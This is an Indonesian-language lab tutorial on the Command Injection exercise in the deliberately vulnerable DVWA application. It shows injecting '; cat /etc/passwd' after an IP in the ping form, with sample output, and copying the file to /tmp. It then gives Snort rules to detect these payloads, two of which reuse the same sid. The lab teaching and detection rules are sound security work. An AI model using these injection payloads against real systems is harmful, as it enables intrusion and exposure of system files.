View source for DVWA: Command Injection

* Login ke DVWA
* Klik Command Injection
* Ping isi IP yang bisa di ping misalnya, router anda, misalnya

 192.168.0.223

* Hasilnya kira-kira

 PING 192.168.0.223 (192.168.0.223) 56(84) bytes of data.
 64 bytes from 192.168.0.223: icmp_seq=1 ttl=64 time=0.560 ms
 64 bytes from 192.168.0.223: icmp_seq=2 ttl=64 time=0.696 ms
 64 bytes from 192.168.0.223: icmp_seq=3 ttl=64 time=0.692 ms
 64 bytes from 192.168.0.223: icmp_seq=4 ttl=64 time=0.631 ms
 
 --- 192.168.0.223 ping statistics ---
 4 packets transmitted, 4 received, 0% packet loss, time 2999ms
 rtt min/avg/max/mdev = 0.560/0.644/0.696/0.063 ms


* Tambahkan perintah cat sesudah nomor IP, misalnya

 192.168.0.223; cat /etc/passwd


 PING 192.168.0.223 (192.168.0.223) 56(84) bytes of data.
 64 bytes from 192.168.0.223: icmp_seq=1 ttl=64 time=0.560 ms
 64 bytes from 192.168.0.223: icmp_seq=2 ttl=64 time=0.696 ms
 64 bytes from 192.168.0.223: icmp_seq=3 ttl=64 time=0.692 ms
 64 bytes from 192.168.0.223: icmp_seq=4 ttl=64 time=0.631 ms
 
 --- 192.168.0.223 ping statistics ---
 4 packets transmitted, 4 received, 0% packet loss, time 2999ms
 rtt min/avg/max/mdev = 0.560/0.644/0.696/0.063 ms
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 ..
 ..
 dst

* Lihat source DVWA mengapa melakukan hal itu

 cat /var/www/html/DVWA-1.9/vulnerabilities/exec/source/low.php


* Kalau iseng, coba copy password ke tmp, inject command

 192.168.1.106; cat /etc/passwd | tee /tmp/passwd



==Snort Rule==

Untuk mendeteksi kegiatan ini, bisa tambahkan di snort local.rules beberapa alternatif rules berikut

 alert tcp any any -> 192.168.0.100 80 (msg:"passwd"; content:"passwd"; nocase; classtype:web-application-attack; sid:1000020;)
 alert tcp any any -> 192.168.0.100 80 (msg:"/passwd"; content:"%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000020;)
 alert tcp any any -> 192.168.0.100 80 (msg:"/etc/passwd"; content:"%2Fetc%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000021;)
 alert tcp any any -> 192.168.0.100 80 (msg:"cat /etc/passwd"; content:"cat+%2Fetc%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000022;)
 alert tcp any any -> 192.168.0.100 80 (msg:"tee /tmp"; content:"tee+%2Ftmp"; nocase; classtype:web-application-attack; sid:1000023;)

apa saat memilih rules, sebaiknya pilih yang paling spesifik, jangan yang general.